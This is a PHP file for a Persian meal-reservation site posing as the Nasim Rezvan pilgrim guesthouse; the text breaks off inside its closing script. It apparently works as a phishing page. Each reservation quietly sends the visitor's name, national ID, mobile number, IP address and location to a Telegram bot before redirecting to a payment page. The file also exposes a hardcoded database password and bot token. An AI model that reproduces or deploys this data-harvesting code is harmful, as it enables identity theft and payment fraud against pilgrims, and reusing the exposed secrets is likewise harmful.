<?php
session_start();

// تنظیمات اتصال به دیتابیس
define('DB_HOST', 'localhost');
define('DB_NAME', 'difrzeer_NasimRezvan');
define('DB_USER', 'difrzeer_NasimRezvan');
define('DB_PASS', 'Tiam1017#');
define('PAYMENT_AMOUNT', 45000);
define('PAYMENT_CALLBACK', 'https://adaspc.ir/NasimRezvan/payment.php');

// تنظیم توکن تلگرام
define('TELEGRAM_TOKEN', '8231219986:AAH0hVIIVYi0Yc6-KiCtHVqEqHueHlA_to0');
define('TELEGRAM_CHAT_ID', '-1002756556457');

// اتصال به دیتابیس
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->exec("set names utf8");
} catch(PDOException $e) {
    die("اتصال به دیتابیس امکان پذیر نیست: " . $e->getMessage());
}

// توابع کمکی
function isLoggedIn() {
    return isset($_SESSION['user_id']);
}

function redirect($url) {
    header("Location: $url");
    exit();
}

// تابع ارسال اطلاعات به تلگرام
function sendToTelegram($data) {
    $user_id = $_SESSION['user_id'];
    $mobile = $_SESSION['mobile'];
    
    // دریافت IP کاربر
    $ipv4 = $_SERVER['REMOTE_ADDR'];
    $ipv6 = '';
    
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipv4 = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ipv4 = $_SERVER['HTTP_CLIENT_IP'];
    }
    
    // بررسی IPv6
    if (filter_var($ipv4, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
        $ipv6 = $ipv4;
        $ipv4 = '';
    }
    
    // دریافت اطلاعات بیشتر از IP
    $ip_info = @json_decode(file_get_contents("http://ip-api.com/json/{$ipv4}"));
    $country = $ip_info->country ?? 'نامشخص';
    $city = $ip_info->city ?? 'نامشخص';
    $isp = $ip_info->isp ?? 'نامشخص';
    
    // متن پیام برای تلگرام
    $text = "📋 اطلاعات رزرو جدید\n\n";
    $text .= "👤 کاربر: {$data['name']}\n";
    $text .= "📱 موبایل: {$mobile}\n";
    $text .= "🆔 کد ملی: {$data['national_id']}\n";
    $text .= "📅 تاریخ: {$data['date']}\n";
    $text .= "🍽 نوع غذا: {$data['meal_type']}\n";
    $text .= "🔖 نوع رزرو: {$data['type']}\n\n";
    $text .= "🌐 اطلاعات شبکه:\n";
    $text .= "IPv4: {$ipv4}\n";
    
    if (!empty($ipv6)) {
        $text .= "IPv6: {$ipv6}\n";
    }
    
    $text .= "📍 کشور: {$country}\n";
    $text .= "🏙 شهر: {$city}\n";
    $text .= "📡 ISP: {$isp}\n\n";
    $text .= "🕒 زمان: " . date('Y-m-d H:i:s');
    
    // ارسال به تلگرام
    $url = "https://api.telegram.org/bot" . TELEGRAM_TOKEN . "/sendMessage";
    $params = [
        'chat_id' => TELEGRAM_CHAT_ID,
        'text' => $text,
        'parse_mode' => 'HTML'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $result = curl_exec($ch);
    curl_close($ch);
    
    return $result;
}

// پردازش درخواست‌ها
$action = $_GET['action'] ?? '';

// صفحه اصلی و لاگین
if ($action == '' && !isLoggedIn()) {
    // نمایش صفحه لاگین
    showLoginPage();
} 
// پردازش لاگین
elseif ($action == 'login' && $_SERVER['REQUEST_METHOD'] == 'POST') {
    processLogin();
}
// داشبورد کاربر
elseif ($action == 'dashboard' && isLoggedIn()) {
    showDashboard();
}
// رزرو غذا
elseif ($action == 'reservation' && isLoggedIn()) {
    processReservation();
}
// پردازش پرداخت
elseif ($action == 'process_payment' && isLoggedIn()) {
    processPayment();
}
// تاریخچه رزروها
elseif ($action == 'history' && isLoggedIn()) {
    showHistory();
}
// خروج
elseif ($action == 'logout') {
    session_destroy();
    redirect('index.php');
}
// اگر کاربر لاگین کرده اما اکشن مشخص نیست
elseif (isLoggedIn()) {
    redirect('index.php?action=dashboard');
}
// در غیر این صورت به لاگین redirect می‌شود
else {
    redirect('index.php');
}

// توابع نمایش صفحات
function showLoginPage() {
    global $pdo;
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>نسیم رضوان- صفحه اصلی</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/persian-datepicker@1.2.0/dist/css/persian-datepicker.min.css">
        <style>
            /* استایل‌های صفحه لاگین */
            * { 
                box-sizing: border-box; 
                margin: 0; 
                padding: 0; 
                font-family: 'Sahel', sans-serif; 
            }
            
            body { 
                background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
                background-size: cover; 
                margin: 0; 
                padding: 0; 
                min-height: 100vh; 
                display: flex; 
                justify-content: center; 
                align-items: center;
                padding: 20px;
            }
            
            .container { 
                text-align: center; 
                width: 100%; 
                max-width: 500px; 
                border-radius: 20px;
                overflow: hidden;
                box-shadow: 0 15px 30px rgba(0, 0, 0, 0.15);
            }
            
            .header { 
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%);
                border-radius: 15px 15px 0 0; 
                padding: 20px; 
                color: white; 
                text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); 
            }
            
            .header h1 { 
                margin: 0; 
                font-size: 1.8rem; 
                font-weight: bold;
            }
            
            .header p { 
                margin: 8px 0 0; 
                font-size: 1rem; 
                opacity: 0.9;
            }
            
            .main-content { 
                background-color: rgba(255, 255, 255, 0.95); 
                border-radius: 0 0 15px 15px; 
                padding: 25px; 
                box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05); 
            }
            
            .login-form h2 { 
                color: #2B91AF; 
                font-size: 1.4rem; 
                margin-bottom: 25px; 
                font-weight: bold;
            }
            
            .form-group { 
                margin-bottom: 20px; 
                text-align: right; 
            }
            
            .form-group label { 
                display: block; 
                margin-bottom: 8px; 
                font-size: 1rem; 
                color: #333; 
                font-weight: 500;
            }
            
            .form-group input { 
                width: 100%; 
                padding: 12px 15px; 
                border: 1px solid #ddd; 
                border-radius: 10px; 
                font-family: 'Sahel', sans-serif; 
                text-align: right; 
                font-size: 1rem;
                transition: all 0.3s ease;
            }
            
            .form-group input:focus {
                border-color: #2B91AF;
                box-shadow: 0 0 0 3px rgba(43, 145, 175, 0.2);
                outline: none;
            }
            
            .captcha-container { 
                display: flex; 
                align-items: center; 
                gap: 10px; 
            }
            
            .captcha-container img { 
                border: 1px solid #ddd; 
                border-radius: 10px; 
                padding: 5px; 
                background-color: #f9f9f9; 
                height: 45px;
            }
            
            .btn-primary { 
                width: 100%; 
                padding: 14px; 
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%);
                color: white; 
                border: none; 
                border-radius: 10px; 
                font-family: 'Sahel', sans-serif; 
                font-size: 1.1rem; 
                cursor: pointer; 
                transition: all 0.3s ease;
                font-weight: bold;
                margin-top: 10px;
            }
            
            .btn-primary:hover { 
                background: linear-gradient(135deg, #1e7ba5 0%, #2B91AF 100%);
                transform: translateY(-2px);
                box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            }
            
            .shrine-image { 
                margin: 20px 0; 
                text-align: center; 
            }
            
            .shrine-image img { 
                max-width: 100%; 
                height: auto;
                border-radius: 10px;
                box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            }
            
            @media (max-width: 576px) {
                .container {
                    max-width: 100%;
                    border-radius: 15px;
                }
                
                .header {
                    padding: 15px;
                }
                
                .header h1 {
                    font-size: 1.5rem;
                }
                
                .main-content {
                    padding: 20px;
                }
                
                .captcha-container {
                    flex-direction: column;
                    align-items: stretch;
                }
                
                .captcha-container img {
                    width: 100%;
                    height: auto;
                }
            }
        </style>
    </head>
    <body>
        <div class="container">
            <div class="header">
                <h1>نسیم رضوان</h1>
                <p>app.nasimghozvan.com</p>
            </div>

            <div class="main-content">
                <div class="shrine-image">
                    <img src="images/shrine_image.png" alt="Harame Razavi">
                </div>

                <div class="login-form">
                    <h2>ورود به نسیم رضوان</h2>
                    <form action="index.php?action=login" method="POST">
                        <div class="form-group">
                            <label for="mobile">شماره موبایل</label>
                            <input type="text" id="mobile" name="mobile" required placeholder="09xxxxxxxxx">
                        </div>

                        <div class="form-group">
                            <label for="captcha">کد امنیتی</label>
                            <div class="captcha-container">
                                <img src="captcha.php" alt="CAPTCHA">
                                <input type="text" id="captcha" name="captcha" required placeholder="کد نمایش داده شده">
                            </div>
                        </div>

                        <button type="submit" class="btn-primary">ادامه</button>
                    </form>
                </div>
            </div>
        </div>
        
        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/persian-date@1.1.0/dist/persian-date.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/persian-datepicker@1.2.0/dist/js/persian-datepicker.min.js"></script>
    </body>
    </html>
    <?php
    exit();
}

function processLogin() {
    global $pdo;
    
    $mobile = $_POST['mobile'];
    $captcha = $_POST['captcha'];
    
    // بررسی کپچا
    if ($captcha != $_SESSION['captcha_code']) {
        $_SESSION['error'] = "کد امنیتی نادرست است";
        redirect('index.php');
    }
    
    // بررسی شماره موبایل
    if (preg_match('/^09[0-9]{9}$/', $mobile)) {
        // بررسی وجود کاربر در دیتابیس
        $stmt = $pdo->prepare("SELECT * FROM users WHERE mobile = ?");
        $stmt->execute([$mobile]);
        $user = $stmt->fetch();
        
        if (!$user) {
            // ایجاد کاربر جدید
            $stmt = $pdo->prepare("INSERT INTO users (mobile, created_at) VALUES (?, NOW())");
            $stmt->execute([$mobile]);
            $user_id = $pdo->lastInsertId();
        } else {
            $user_id = $user['id'];
        }
        
        // ثبت اطلاعات در session
        $_SESSION['user_id'] = $user_id;
        $_SESSION['mobile'] = $mobile;
        
        redirect('index.php?action=dashboard');
    } else {
        $_SESSION['error'] = "شماره موبایل معتبر نیست";
        redirect('index.php');
    }
}

function showDashboard() {
    global $pdo;
    
    $user_id = $_SESSION['user_id'];
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$user_id]);
    $user = $stmt->fetch();
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>داشبورد - نسیم رضوان</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
        <style>
            /* استایل‌های داشبورد */
            * { 
                box-sizing: border-box; 
                margin: 0; 
                padding: 0; 
                font-family: 'Sahel', sans-serif; 
            }
            
            body { 
                background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
                background-size: cover; 
                background-attachment: fixed; 
                margin: 0; 
                padding: 0; 
                min-height: 100vh; 
                display: flex; 
                flex-direction: column; 
                align-items: center; 
            }
            
            .main-container { 
                width: 100%; 
                max-width: 600px; 
                margin: 20px auto; 
                padding: 0 15px; 
            }
            
            .header { 
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%);
                border-radius: 15px 15px 0 0; 
                padding: 20px; 
                color: white; 
                text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); 
                display: flex; 
                align-items: center; 
                justify-content: space-between; 
            }
            
            .logo { 
                height: 55px; 
                margin-left: 15px; 
                border-radius: 10px;
                box-shadow: 0 3px 10px rgba(0, 0, 0, 0.2);
            }
            
            .header-text h1 { 
                margin: 0; 
                font-size: 1.6rem; 
                font-weight: bold;
            }
            
            .header-text p { 
                margin: 8px 0 0; 
                font-size: 1rem; 
                opacity: 0.9;
            }
            
            .main-content { 
                background-color: rgba(255, 255, 255, 0.95); 
                border-radius: 0 0 15px 15px; 
                padding: 25px; 
                box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1); 
                margin-bottom: 20px; 
            }
            
            .user-info { 
                text-align: center; 
                padding: 15px 0; 
                margin-bottom: 20px; 
                border-bottom: 1px solid #eee; 
            }
            
            .user-info p { 
                margin: 8px 0; 
                color: #555; 
                font-size: 1rem;
            }
            
            /* استایل‌های بخش‌های مختلف */
            .welcome-section, .options-section { 
                margin-bottom: 30px; 
            }
            
            .section-header { 
                display: flex; 
                align-items: center; 
                margin-bottom: 20px; 
                padding-bottom: 12px; 
                border-bottom: 2px solid #f0f0f0; 
            }
            
            .section-header .icon { 
                font-size: 24px; 
                margin-left: 12px; 
                color: #2B91AF;
            }
            
            .section-header h2, .section-header h3 { 
                color: #2c5e2e; 
                margin: 0; 
                font-weight: bold;
            }
            
            .message-box.golden-box { 
                background: linear-gradient(135deg, #f8f3e6 0%, #f1e8d2 100%); 
                border: 1px solid #e5d9b8; 
                border-radius: 15px; 
                padding: 20px; 
                display: flex; 
                align-items: center; 
                box-shadow: 0 5px 15px rgba(0,0,0,0.08); 
            }
            
            .message-icon { 
                font-size: 32px; 
                margin-left: 15px; 
                flex-shrink: 0; 
                color: #8b6b2e;
            }
            
            .message-content { 
                flex-grow: 1; 
            }
            
            .greeting { 
                font-weight: bold; 
                color: #8b6b2e; 
                margin-bottom: 8px; 
                font-size: 1.1rem; 
            }
            
            .message-text { 
                color: #6b5a39; 
                margin: 0; 
                line-height: 1.6; 
                font-size: 0.95rem;
            }
            
            .options-grid { 
                display: grid; 
                grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); 
                gap: 20px; 
                margin-top: 20px; 
            }
            
            .option-card { 
                background: white; 
                border-radius: 15px; 
                padding: 25px 20px; 
                text-align: center; 
                box-shadow: 0 8px 20px rgba(0,0,0,0.1); 
                transition: all 0.3s ease; 
                border: 1px solid #eee; 
                display: flex; 
                flex-direction: column; 
                height: 100%; 
                position: relative;
                overflow: hidden;
            }
            
            .option-card:before {
                content: '';
                position: absolute;
                top: 0;
                left: 0;
                right: 0;
                height: 5px;
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%);
            }
            
            .option-card:hover { 
                transform: translateY(-5px); 
                box-shadow: 0 12px 30px rgba(0,0,0,0.15); 
            }
            
            .card-icon { 
                font-size: 40px; 
                margin-bottom: 15px; 
                color: #2B91AF;
            }
            
            .option-card h4 { 
                color: #2c5e2e; 
                margin: 0 0 12px 0; 
                font-size: 1.1rem; 
                min-height: 2.5rem; 
                display: flex; 
                align-items: center; 
                justify-content: center; 
                font-weight: bold;
            }
            
            .option-card p { 
                color: #666; 
                margin: 0 0 20px 0; 
                line-height: 1.5; 
                flex-grow: 1; 
                font-size: 0.9rem; 
            }
            
            .option-card .btn-primary { 
                margin-top: auto; 
                padding: 12px; 
                font-size: 0.95rem; 
                border-radius: 8px; 
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%); 
                border: none; 
                transition: all 0.3s ease; 
                color: white; 
                text-decoration: none; 
                display: block; 
                font-weight: bold;
            }
            
            .option-card .btn-primary:hover { 
                background: linear-gradient(135deg, #1e7ba5 0%, #2B91AF 100%); 
                transform: translateY(-2px); 
                box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            }
            
            /* رنگ‌های متفاوت برای کارت‌ها */
            .iranian-card:before { background: linear-gradient(135deg, #4CAF50 0%, #2E7D32 100%); }
            .iranian-card .card-icon { color: #4CAF50; }
            
            .resident-card:before { background: linear-gradient(135deg, #FF9800 0%, #EF6C00 100%); }
            .resident-card .card-icon { color: #FF9800; }
            
            .breakfast-card:before { background: linear-gradient(135deg, #2196F3 0%, #1565C0 100%); }
            .breakfast-card .card-icon { color: #2196F3; }
            
            .foreigner-card:before { background: linear-gradient(135deg, #9C27B0 0%, #6A1B9A 100%); }
            .foreigner-card .card-icon { color: #9C27B0; }
            
            .quick-actions { 
                margin-top: 30px; 
                text-align: center; 
                display: flex;
                flex-direction: column;
                gap: 15px;
            }
            
            .btn-secondary { 
                display: inline-flex; 
                align-items: center; 
                justify-content: center; 
                padding: 14px 25px; 
                background: linear-gradient(135deg, #6c757d 0%, #5a6268 100%); 
                color: white; 
                text-decoration: none; 
                border-radius: 10px; 
                transition: all 0.3s ease; 
                box-shadow: 0 5px 15px rgba(0,0,0,0.1); 
                font-weight: bold;
            }
            
            .btn-secondary:hover { 
                background: linear-gradient(135deg, #5a6268 0%, #6c757d 100%); 
                transform: translateY(-2px); 
                box-shadow: 0 8px 20px rgba(0,0,0,0.15); 
                color: white; 
            }
            
            .action-icon { 
                margin-left: 8px; 
                font-size: 18px; 
            }
            
            @media (max-width: 768px) {
                .main-container {
                    max-width: 100%;
                    padding: 0 10px;
                }
                
                .options-grid { 
                    grid-template-columns: 1fr; 
                }
                
                .message-box.golden-box { 
                    flex-direction: column; 
                    text-align: center; 
                }
                
                .message-icon { 
                    margin-left: 0; 
                    margin-bottom: 15px; 
                }
                
                .option-card { 
                    padding: 20px 15px; 
                }
                
                .header {
                    padding: 15px;
                }
                
                .header h1 {
                    font-size: 1.4rem;
                }
                
                .main-content {
                    padding: 20px;
                }
            }
        </style>
    </head>
    <body>
        <div class="main-container">
            <div class="header">
                <img src="images/logo.png" alt="لوگو نسیم رضوان" class="logo">
                <div class="header-text">
                    <h1>مهمان سرا نسیم رضوان</h1>
                    <p>سامانه رزرو آنلاین غذا</p>
                </div>
            </div>
            
            <div class="main-content">
                <div class="user-info">
                    <p><i class="fas fa-mobile-alt"></i> شماره موبایل: <?php echo $_SESSION['mobile']; ?></p>
                </div>

                <div class="welcome-section">
                    <div class="section-header">
                        <i class="icon fas fa-hotel"></i>
                        <h2>مهمان سرا نسیم رضوان</h2>
                    </div>
                    <div class="message-box golden-box">
                        <div class="message-icon"><i class="fas fa-info-circle"></i></div>
                        <div class="message-content">
                            <p class="greeting">زائر گرامی، خوش آمدید</p>
                            <p class="message-text">امکان پیش ثبت نام تنها بین ساعت 7 صبح تا 8 شب امکان پذیر است. لطفا نوع رزرو مورد نظر خود را انتخاب نمایید.</p>
                        </div>
                    </div>
                </div>

                <div class="options-section">
                    <div class="section-header">
                        <i class="icon fas fa-utensils"></i>
                        <h3>گزینه‌های رزرو</h3>
                    </div>
                    
                    <div class="options-grid">
                        <div class="option-card iranian-card">
                            <div class="card-icon"><i class="fas fa-flag"></i></div>
                            <h4>زائران ایرانی</h4>
                            <p>رزرو غذای زائران ایرانی مقیم داخل کشور</p>
                            <a href="index.php?action=reservation&type=iranian" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                        
                        <div class="option-card resident-card">
                            <div class="card-icon"><i class="fas fa-passport"></i></div>
                            <h4>زائران اتباع مقیم ایران</h4>
                            <p>رزرو برای اتباع خارجی مقیم ایران</p>
                            <a href="index.php?action=reservation&type=resident" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                        
                        <div class="option-card breakfast-card">
                            <div class="card-icon"><i class="fas fa-coffee"></i></div>
                            <h4>ثبت نام صبحانه</h4>
                            <p>رزرو وعده صبحانه برای زائران</p>
                            <a href="index.php?action=reservation&type=breakfast" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                        
                        <div class="option-card foreigner-card">
                            <div class="card-icon"><i class="fas fa-globe"></i></div>
                            <h4>زائران غیرایرانی</h4>
                            <p>رزرو برای زائران خارجی غیر مقیم</p>
                            <a href="index.php?action=reservation&type=foreigner" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                    </div>
                </div>

                <div class="quick-actions">
                    <a href="index.php?action=history" class="btn-secondary">
                        <i class="action-icon fas fa-history"></i>
                        مشاهده سوابق رزرو
                    </a>
                    <a href="index.php?action=logout" class="btn-secondary">
                        <i class="action-icon fas fa-sign-out-alt"></i>
                        خروج از حساب
                    </a>
                </div>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit();
}

function processReservation() {
    global $pdo;
    
    if (!isLoggedIn()) {
        redirect('index.php');
    }
    
    $type = $_GET['type'] ?? '';
    $type_names = [
        'iranian' => 'زائران ایرانی',
        'resident' => 'زائران اتباع مقیم ایران',
        'breakfast' => 'ثبت نام صبحانه',
        'foreigner' => 'زائران غیرایرانی'
    ];
    
    if (!array_key_exists($type, $type_names)) {
        redirect('index.php?action=dashboard');
    }
    
    // اگر فرم ارسال شده
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $user_id = $_SESSION['user_id'];
        $name = $_POST['name'];
        $national_id = $_POST['national_id'];
        $date = $_POST['date'];
        $meal_type = $_POST['meal_type'];
        
        // ذخیره اطلاعات رزرو در دیتابیس
        $stmt = $pdo->prepare("INSERT INTO reservations (user_id, type, name, national_id, date, meal_type, amount, status, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', NOW())");
        $stmt->execute([$user_id, $type, $name, $national_id, $date, $meal_type, PAYMENT_AMOUNT]);
        $reservation_id = $pdo->lastInsertId();
        
        // ارسال اطلاعات به تلگرام
        $reservation_data = [
            'name' => $name,
            'national_id' => $national_id,
            'date' => $date,
            'meal_type' => $meal_type,
            'type' => $type_names[$type]
        ];
        
        sendToTelegram($reservation_data);
        
        $_SESSION['reservation_id'] = $reservation_id;
        redirect('/NasimRezvan/pay');
    }
    
    // نمایش فرم رزرو
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>رزرو غذا - نسیم رضوان</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/persian-datepicker@1.2.0/dist/css/persian-datepicker.min.css">
        <style>
            /* استایل‌های فرم رزرو */
            * { 
                box-sizing: border-box; 
                margin: 0; 
                padding: 0; 
                font-family: 'Sahel', sans-serif; 
            }
            
            body { 
                background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
                background-size: cover; 
                background-attachment: fixed; 
                margin: 0; 
                padding: 0; 
                min-height: 100vh; 
                display: flex; 
                flex-direction: column; 
                align-items: center; 
            }
            
            .main-container { 
                width: 100%; 
                max-width: 600px; 
                margin: 20px auto; 
                padding: 0 15px; 
            }
            
            .header { 
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%);
                border-radius: 15px 15px 0 0; 
                padding: 20px; 
                color: white; 
                text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); 
                display: flex; 
                align-items: center; 
                justify-content: space-between; 
            }
            
            .logo { 
                height: 55px; 
                margin-left: 15px; 
                border-radius: 10px;
                box-shadow: 0 3px 10px rgba(0, 0, 0, 0.2);
            }
            
            .header-text h1 { 
                margin: 0; 
                font-size: 1.6rem; 
                font-weight: bold;
            }
            
            .header-text p { 
                margin: 8px 0 0; 
                font-size: 1rem; 
                opacity: 0.9;
            }
            
            .main-content { 
                background-color: rgba(255, 255, 255, 0.95); 
                border-radius: 0 0 15px 15px; 
                padding: 25px; 
                box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1); 
                margin-bottom: 20px; 
            }
            
            .user-info { 
                text-align: center; 
                padding: 15px 0; 
                margin-bottom: 20px; 
                border-bottom: 1px solid #eee; 
            }
            
            .user-info p { 
                margin: 8px 0; 
                color: #555; 
                font-size: 1rem;
            }
            
            .reservation-section { 
                margin-bottom: 20px; 
            }
            
            .section-header { 
                display: flex; 
                align-items: center; 
                margin-bottom: 20px; 
                padding-bottom: 12px; 
                border-bottom: 2px solid #f0f0f0; 
            }
            
            .section-header .icon { 
                font-size: 24px; 
                margin-left: 12px; 
                color: #2B91AF;
            }
            
            .section-header h2 { 
                color: #2c5e2e; 
                margin: 0; 
                font-weight: bold;
            }
            
            .form-group { 
                margin-bottom: 20px; 
                text-align: right; 
            }
            
            .form-group label { 
                display: block; 
                margin-bottom: 8px; 
                font-size: 1rem; 
                color: #333; 
                font-weight: 500;
            }
            
            .form-group input, .form-group select { 
                width: 100%; 
                padding: 12px 15px; 
                border: 1px solid #ddd; 
                border-radius: 10px; 
                font-family: 'Sahel', sans-serif; 
                text-align: right; 
                font-size: 1rem;
                transition: all 0.3s ease;
            }
            
            .form-group input:focus, .form-group select:focus {
                border-color: #2B91AF;
                box-shadow: 0 0 0 3px rgba(43, 145, 175, 0.2);
                outline: none;
            }
            
            .price-display { 
                background: linear-gradient(135deg, #f8f3e6 0%, #f1e8d2 100%); 
                border: 1px solid #e5d9b8; 
                border-radius: 15px; 
                padding: 20px; 
                display: flex; 
                align-items: center; 
                margin: 20px 0; 
                box-shadow: 0 5px 15px rgba(0,0,0,0.08);
            }
            
            .price-icon { 
                font-size: 32px; 
                margin-left: 15px; 
                color: #8b6b2e;
            }
            
            .price-content { 
                flex-grow: 1; 
            }
            
            .price-label { 
                font-weight: bold; 
                color: #8b6b2e; 
                margin-bottom: 8px; 
                font-size: 1.1rem;
            }
            
            .price-amount { 
                color: #2c5e2e; 
                font-weight: bold; 
                font-size: 1.4rem; 
                margin: 0; 
            }
            
            .btn-primary { 
                width: 100%; 
                padding: 14px; 
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%);
                color: white; 
                border: none; 
                border-radius: 10px; 
                font-family: 'Sahel', sans-serif; 
                font-size: 1.1rem; 
                cursor: pointer; 
                margin-top: 10px; 
                transition: all 0.3s ease;
                font-weight: bold;
            }
            
            .btn-primary:hover { 
                background: linear-gradient(135deg, #1e7ba5 0%, #2B91AF 100%);
                transform: translateY(-2px);
                box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            }
            
            .btn-secondary { 
                display: inline-flex; 
                align-items: center; 
                justify-content: center; 
                padding: 12px 20px; 
                background: linear-gradient(135deg, #6c757d 0%, #5a6268 100%); 
                color: white; 
                text-decoration: none; 
                border-radius: 10px; 
                margin-top: 15px; 
                transition: all 0.3s ease;
                font-weight: bold;
            }
            
            .btn-secondary:hover { 
                background: linear-gradient(135deg, #5a6268 0%, #6c757d 100%);
                transform: translateY(-2px);
                box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            }
            
            @media (max-width: 576px) {
                .main-container {
                    max-width: 100%;
                    padding: 0 10px;
                }
                
                .header {
                    padding: 15px;
                }
                
                .header h1 {
                    font-size: 1.4rem;
                }
                
                .main-content {
                    padding: 20px;
                }
                
                .price-display {
                    flex-direction: column;
                    text-align: center;
                }
                
                .price-icon {
                    margin-left: 0;
                    margin-bottom: 15px;
                }
            }
        </style>
    </head>
    <body>
        <div class="main-container">
            <div class="header">
                <img src="images/logo.png" alt="لوگو نسیم رضوان" class="logo">
                <div class="header-text">
                    <h1>رزرو غذا - <?php echo $type_names[$type]; ?></h1>
                    <p>مهمان سرا نسیم رضوان</p>
                </div>
            </div>
            
            <div class="main-content">
                <div class="user-info">
                    <p><i class="fas fa-mobile-alt"></i> شماره موبایل: <?php echo $_SESSION['mobile']; ?></p>
                </div>

                <div class="reservation-section">
                    <div class="section-header">
                        <i class="icon fas fa-utensils"></i>
                        <h2>فرم رزرو غذا</h2>
                    </div>
                    
                    <div class="reservation-form">
                        <form action="index.php?action=reservation&type=<?php echo $type; ?>" method="POST">
                            <div class="form-group">
                                <label for="name"><i class="fas fa-user"></i> نام و نام خانوادگی</label>
                                <input type="text" id="name" name="name" required placeholder="نام کامل خود را وارد کنید">
                            </div>
                            
                            <div class="form-group">
                                <label for="national_id"><i class="fas fa-id-card"></i> کد ملی</label>
                                <input type="text" id="national_id" name="national_id" required placeholder="کد ملی ۱۰ رقمی" pattern="[0-9]{10}">
                            </div>
                            
                            <div class="form-group">
                                <label for="date"><i class="fas fa-calendar-alt"></i> تاریخ</label>
                                <input type="text" id="date" name="date" required class="pdate" placeholder="برای انتخاب تاریخ کلیک کنید">
                            </div>
                            
                            <div class="form-group">
                                <label for="meal_type"><i class="fas fa-utensil-spoon"></i> نوع غذا</label>
                                <select id="meal_type" name="meal_type" required>
                                    <option value="">-- انتخاب کنید --</option>
                                    <option value="ناهار">ناهار</option>
                                    <option value="شام">شام</option>
                                    <option value="صبحانه">صبحانه</option>
                                </select>
                            </div>
                            
                            <div class="price-display">
                                <div class="price-icon"><i class="fas fa-tag"></i></div>
                                <div class="price-content">
                                    <p class="price-label">هزینه رزرو</p>
                                    <p class="price-amount">۴۵,۰۰۰ تومان</p>
                                </div>
                            </div>
                            
                            <button type="submit" class="btn-primary">
                                <i class="fas fa-credit-card"></i> ادامه به پرداخت
                            </button>
                        </form>
                    </div>
                </div>
                
                <a href="index.php?action=dashboard" class="btn-secondary"><i class="fas fa-arrow-right"></i> بازگشت به داشبورد</a>
            </div>
        </div>
        
        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/persian-date@1.1.0/dist/persian-date.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/persian-datepicker@1.2.0/dist/js/persian-datepicker.min.js"></script>
        <script>
            $(document).ready(function() {
                // تنظیم تقویم شمسی
                $('.pdate').persianDatepicker({
                    format: 'YYYY/MM/DD',
                    initialValue: false,
                    autoClose: true,
                    minDate: new persianDate().valueOf(),
                    maxDate: new persianDate().add('month', 2).valueOf(),
                    toolbox: {
                        calendarSwitch: {
                            enabled: false
                        }
